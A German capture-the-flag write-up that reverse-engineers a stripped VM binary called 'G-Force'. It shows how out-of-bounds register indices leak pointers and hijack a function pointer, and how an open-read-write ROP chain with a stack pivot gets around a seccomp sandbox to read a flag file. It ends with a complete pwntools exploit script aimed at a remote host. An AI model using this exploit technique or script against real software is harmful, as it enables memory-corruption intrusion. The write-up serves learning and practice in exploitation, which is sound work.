17 KiB
Write-up: G-Force
Kategorie: Pwn Schwierigkeitsgrad: Schwer Beschreibung: Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung.
In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat.
1. Initiale Analyse
Wir beginnen mit der Untersuchung des bereitgestellten Binaries g_forcevm.
$ file g_forcevm
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
Es ist eine Static PIE Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem stripped, wir haben also keine Funktionsnamen.
Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt:
--- G-FORCE VM v2.0 (Final) ---
4KB Secure Sandbox. Type 'help' for instructions.
> help
--- G-Force Instruction Set ---
General:
MOVI R, IMM : Load immediate value into Register R
MOVR R1, R2 : Copy value from R2 to R1
...
Meta Commands:
execute : Compile and run the current program buffer
info : Dump current CPU state
ram OFF LEN : Hex dump of RAM at offset
debug : Run debug logger
...
2. Reverse Engineering
Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet.
Die VM-Struktur & das Stack-Layout
Bei der Analyse der main-Funktion (dekompiliert an Adresse 0x0010ba79) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden.
undefined8 FUN_0010ba79(void)
{
// ...
undefined1 local_20d8 [40];
undefined8 local_20b0;
undefined8 local_20a8;
code *local_20a0;
undefined1 local_2098 [8192];
// ...
// Initialisierung
thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
// RAM-Allokation
// FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper).
// 0x1000 = 4096 Bytes (4KB)
local_20a8 = FUN_0012ac00(0x1000);
// Initialisierung des Debug-Funktionszeigers
local_20a0 = FUN_00109a22;
// Hauptschleife
while( true ) {
// ... Befehls-Parsing ...
iVar2 = thunk_FUN_0012d150(uVar4,"debug");
if (iVar2 == 0) {
// VERWUNDBARER AUFRUF
(*local_20a0)(local_20a8);
}
else {
iVar2 = thunk_FUN_0012d150(uVar4,"execute");
if (iVar2 == 0) {
FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
FUN_0010a2b8(local_20d8,local_2098,local_20f8);
// ...
}
}
}
}
Wir sehen, dass local_20d8 ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP).
Wir sehen, dass local_20a0 ein Funktionszeiger ist, der auf 0x00109a22 (den Standard-Logger) initialisiert wird.
Betrachten wir das Speicher-Layout auf dem Stack genauer:
local_20d8(Register) beginnt am Offset-0x20d8.local_20a8(RAM-Zeiger) beginnt am Offset-0x20a8.local_20a0(Func Ptr) beginnt am Offset-0x20a0.
Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt 0x20d8 - 0x20a8 = 0x30, was 48 Bytes entspricht.
Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt 0x20d8 - 0x20a0 = 0x38, was 56 Bytes entspricht.
Bestätigung des Layouts über info
Um zu bestätigen, dass local_20d8 tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den info-Befehl verantwortlich ist (in Ghidra als FUN_00109cbe bezeichnet).
void FUN_00109cbe(undefined8 *param_1)
{
FUN_0011d2b0("\n--- CPU STATE ---");
FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
FUN_00115f80("SP : 0x%016lx\n",param_1[5]);
FUN_0011d2b0("-----------------");
return;
}
Diese Funktion nimmt einen Zeiger auf local_20d8 als Argument entgegen.
param_1[0]entspricht Register A (Offset 0).param_1[1]entspricht Register B (Offset 8).param_1[2]entspricht Register C (Offset 16).param_1[3]entspricht Register D (Offset 24).param_1[5]entspricht SP (Offset 40).
Die Tatsache, dass info diese Werte direkt aus dem Array local_20d8 druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert.
Rekonstruktion der CPU-Struktur
Basierend auf dem Speicher-Layout und der info-Funktion können wir die interne CPU-Struktur der VM auf dem Stack rekonstruieren:
struct CPU_Stack_Layout {
uint64_t regs[4]; // Offset 0x00: Register A, B, C, D
uint64_t PC; // Offset 0x20: Program Counter / reserviert
uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40)
uint8_t *ram; // Offset 0x30: Zeiger auf VM-RAM (Offset 48)
void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56)
};
Dies passt perfekt zu unserem rekonstruierten Layout!
Die Schwachstelle: Out-of-Bounds Registerzugriff
Der Befehls-Parser wandelt Registernamen in Indizes um.
a-> 0b-> 1c-> 2d-> 3
Jedoch erlaubt die Validierungsfunktion FUN_001099bf Buchstaben bis hin zu h!
int FUN_001099bf(char *param_1)
{
// ...
if ((*param_1 < 'a') || ('h' < *param_1)) {
iVar1 = -1;
}
else {
iVar1 = *param_1 + -0x61;
}
// ...
return iVar1;
}
Wenn wir Register g (Index 6) verwenden:
Adresse = local_20d8 + (6 * 8) = local_20d8 + 48 -> Dies greift auf den ram-Zeiger zu.
Wenn wir Register h (Index 7) verwenden:
Adresse = local_20d8 + (7 * 8) = local_20d8 + 56 -> Dies greift auf den debug_log-Funktionszeiger zu!
Dies gibt uns zwei mächtige Primitive:
- Arbitrary Read (Leak):
MOVR a, hliest den Funktionszeiger in das Registera. Wir können ihn uns dann überinfoansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leaktMOVR b, gdie Heap-Basis. - Control Flow Hijack (Kontrollflussübernahme):
MOVI h, <ADDR>ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben.
Der "Debug"-Befehl
Der debug-Befehl ruft die Funktion auf, die in local_20a0 (Register h) gespeichert ist. Er übergibt den RAM-Zeiger (Register g) als erstes Argument (rdi).
// Pseudo-Code für den debug-Befehl
if (cmd == "debug") {
// local_20a0 zeigt standardmäßig auf default_logger
// Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung.
// Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8).
(*local_20a0)(local_20a8);
}
3. Ausnutzungsstrategie: Der Schlachtplan
Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen.
Entdeckung der Seccomp-Sandbox
Während der Analyse des Binaries stoßen wir auf eine Funktion FUN_0010b918, die früh in main aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist:
void FUN_0010b918(void)
{
// ...
iVar1 = FUN_001636b0(0x26,1,0,0,0);
if (iVar1 != 0) {
FUN_001161b0("prctl(NO_NEW_PRIVS)");
FUN_00115450(1);
}
iVar1 = FUN_001636b0(0x16,2,local_68);
if (iVar1 != 0) {
FUN_001161b0("prctl(SECCOMP)");
FUN_00115450(1);
}
// ...
}
Die Funktion FUN_001636b0 ist ein Wrapper um den prctl-Syscall.
prctl(PR_SET_NO_NEW_PRIVS, 1, ...): Dies wird mitoption = 38(0x26) aufgerufen, wasPR_SET_NO_NEW_PRIVSentspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurchsetuid/setgid-Binaries deaktiviert werden.prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...): Dies wird mitoption = 22(0x16) aufgerufen, wasPR_SET_SECCOMPentspricht. Das zweite Argument2spezifiziertSECCOMP_MODE_FILTER. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf.
Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von system("/bin/sh") oder die Ausführung eines execve-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine Open-Read-Write (ORW) ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben.
Schritt 1: Adressen leaken (ASLR umgehen)
Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet.
- Code-Adresse leaken: Wir kopieren den Funktionszeiger in das Register
a(MOVR a, h). - Heap-Adresse leaken: Wir kopieren den RAM-Zeiger in das Register
b(MOVR b, g). - Den Leak auslesen: Wir führen diese Befehle aus und verwenden den VM-Befehl
info, umReg AundReg Bauszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (0x00109a22) vonReg Aabziehen, berechnen wir die Basisadresse des Binaries.
Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren
Wir müssen den syscall aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet:
RAX= System Call NummerRDI= Argument 1RSI= Argument 2RDX= Argument 3
Hier ist, wie jeder Befehl in der Kette konstruiert ist:
1. open("./flag.txt", 0)
pop rdi; ret->ADDR_OF_STRING(Zeiger auf "flag.txt\0")pop rsi; ret->0(O_RDONLY)pop rax; ret->2(SYS_open)syscall; ret
2. read(3, buffer, 0x100)
pop rdi; ret->3(File Descriptor, normalerweise 3, da 0/1/2 Standard sind)pop rsi; ret->ADDR_OF_BUFFER(Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM)pop rdx; ret->0x100(Anzahl zu lesender Bytes)pop rax; ret->0(SYS_read)syscall; ret
3. write(1, buffer, 0x100)
pop rdi; ret->1(stdout)pop rsi; ret->ADDR_OF_BUFFER(Zeiger darauf, wo wir das Flag eingelesen haben)pop rdx; ret->0x100(Anzahl zu schreibender Bytes)pop rax; ret->1(SYS_write)syscall; ret
Im RAM platzieren: Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls SAVER in den VM-RAM (beginnend bei Offset 0).
Schritt 3: Den Pivot finden
Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den RSP (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen.
- Das Pivot-Gadget finden: Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von
ROPgadgetauf dem Binary offenbart ein perfektes Gadget:mov rsp, rdi; retbeim Offset0x000099b8. - Warum dieses Gadget? Wenn der
debug-Befehl aufgerufen wird, ist das erste Argument (RDI) ein Zeiger auf den VM-RAM (Registerg). - Der Auslöser (Trigger): Wenn wir zu diesem Gadget springen, wird es
RDI(den RAM-Zeiger) inRSPkopieren. Das anschließenderetpopt dann die ersten 8 Bytes unseres RAMs in denRIPund startet so die ROP-Chain.
Schritt 4: Den Funktionszeiger überschreiben
Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten.
- Ziel Register H: Das Schreiben in das Register
hüberschreibt den Funktionszeigerdebug_log. - Die Payload: Wir verwenden
MOVI h, <ADDR_OF_PIVOT>, um die Standard-Logger-Adresse durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen.
Schritt 5: Die Chain auslösen
Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers.
- Der Trigger-Befehl: Wir tippen
execute, um unsere Writer-Befehle zu kompilieren, und führen danndebugaus. - Ausführungsfluss:
- Die
main-Schleife ruft den Funktionszeiger auf, der in Registerhsteht. - Da wir ihn überschrieben haben, springt er zu
mov rsp, rdi; ret. RDIenthält den RAM-Zeiger, sodassRSPzum RAM-Zeiger wird.- Die CPU führt
retaus und popt das erste Gadget aus unserer ROP-Chain im RAM. - Die Kette führt
open,readundwriteaus und gibt das Flag auf unserer Konsole aus!
- Die
4. Das Lösungs-Skript
Hier ist das vollständige Skript solve.py. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload.
#!/usr/bin/env python3
from pwn import *
# =============================================================================
# KONFIGURATION
# =============================================================================
OFFSET_DEFAULT_LOG = 0x00109a22
HOST = '87.106.77.47'
PORT = 1378
# Kontext setzen (wird noch zum packen/entpacken benötigt)
exe = './g_forcevm'
elf = ELF(exe, checksec=False)
context.binary = elf
context.log_level = 'info'
def start():
# [ÄNDERUNG] remote() anstelle von process() verwenden
return remote(HOST, PORT)
p = start()
def send_cmd(cmd):
p.sendline(cmd.encode())
def wait_prompt():
return p.recvuntil(b"> ")
log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---")
wait_prompt()
# -----------------------------------------------------------------------------
# SCHRITT 1: LIVE LEAK
# -----------------------------------------------------------------------------
log.info("SCHRITT 1: Adressen leaken...")
send_cmd("movr a, h")
wait_prompt()
send_cmd("movr b, g")
wait_prompt()
send_cmd("saver a, 0")
wait_prompt()
send_cmd("saver b, 8")
wait_prompt()
send_cmd("execute")
wait_prompt()
# Leaks auslesen
send_cmd("ram 0 16")
p.recvuntil(b"0000: ")
dump_line = p.recvline().decode().strip().split()
wait_prompt()
bytes_all = [int(b, 16) for b in dump_line]
leak_logger = 0
for i in range(8):
leak_logger += bytes_all[i] << (i*8)
leak_heap = 0
for i in range(8):
leak_heap += bytes_all[8+i] << (i*8)
binary_base = leak_logger - OFFSET_DEFAULT_LOG
addr_farm = leak_logger - 0x75
# Gadgets
addr_pop_rdi = addr_farm + 0
addr_pop_rsi = addr_farm + 2
addr_pop_rdx = addr_farm + 4
addr_pop_rax = addr_farm + 6
addr_syscall = addr_farm + 8
addr_pivot = addr_farm + 11
log.success(f" Geleakter Logger: {hex(leak_logger)}")
log.success(f" Geleakter Heap: {hex(leak_heap)}")
log.success(f" Basisadresse: {hex(binary_base)}")
log.success(f" Addr Farm: {hex(addr_farm)}")
# -----------------------------------------------------------------------------
# SCHRITT 2: CHAIN KONSTRUIEREN
# -----------------------------------------------------------------------------
log.info("SCHRITT 2: ROP Chain konstruieren...")
chain = [
# --- OPEN("./flag.txt", 0, 0) ---
addr_pop_rdi,
leak_heap + 0x200, # Zeiger auf "./flag.txt"
addr_pop_rsi,
0,
addr_pop_rdx,
0,
addr_pop_rax,
2,
addr_syscall,
# --- READ(3, buffer, 100) ---
addr_pop_rdi,
3,
addr_pop_rsi,
leak_heap + 0x300, # Zeiger auf Buffer
addr_pop_rdx,
100,
addr_pop_rax,
0,
addr_syscall,
# --- WRITE(1, buffer, 64) ---
addr_pop_rdi,
1,
addr_pop_rsi,
leak_heap + 0x300,
addr_pop_rdx,
35,
addr_pop_rax,
1,
addr_syscall,
# --- EXIT(0) ---
addr_pop_rdi,
0,
addr_pop_rax,
60,
addr_syscall,
]
# Chain senden
i = 0
while i < len(chain):
send_cmd(f"movi a,{hex(chain[i])}")
wait_prompt()
send_cmd(f"saver a,{hex(i*8)}")
wait_prompt()
i = i+1
# String "./flag.txt" bei Offset 0x200 senden
flag_str = b'./flag.txt\0'
for i in range(0, len(flag_str), 8):
chunk = flag_str[i:i+8].ljust(8, b'\0')
val = u64(chunk)
send_cmd(f"movi a, {hex(val)}")
wait_prompt()
send_cmd(f"saver a,{0x200 + i}")
wait_prompt()
# Platzierung der Chain ausführen
send_cmd("execute")
p.recvuntil(b"> ")
send_cmd("ram 0x00 0x30")
p.recvuntil(b"> ")
log.success(f" ROP Chain platziert")
# -----------------------------------------------------------------------------
# SCHRITT 3: ARM & TRIGGER
# -----------------------------------------------------------------------------
log.info("SCHRITT 3: Scharfschalten...")
send_cmd(f"movi h,{hex(addr_pivot)}")
wait_prompt()
send_cmd(f"execute")
p.recvuntil(b"> ")
log.success(f" Scharfgeschaltet")
log.info("Wird ausgeführt...")
send_cmd(f"debug")
try:
# recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt
output = p.recvall(timeout=3)
print("\n" + "="*50)
print("FINALE AUSGABE:")
print(output.decode(errors='ignore'))
print("="*50)
except Exception as e:
log.error(f"Fehler beim Empfangen des Flags: {e}")
p.close()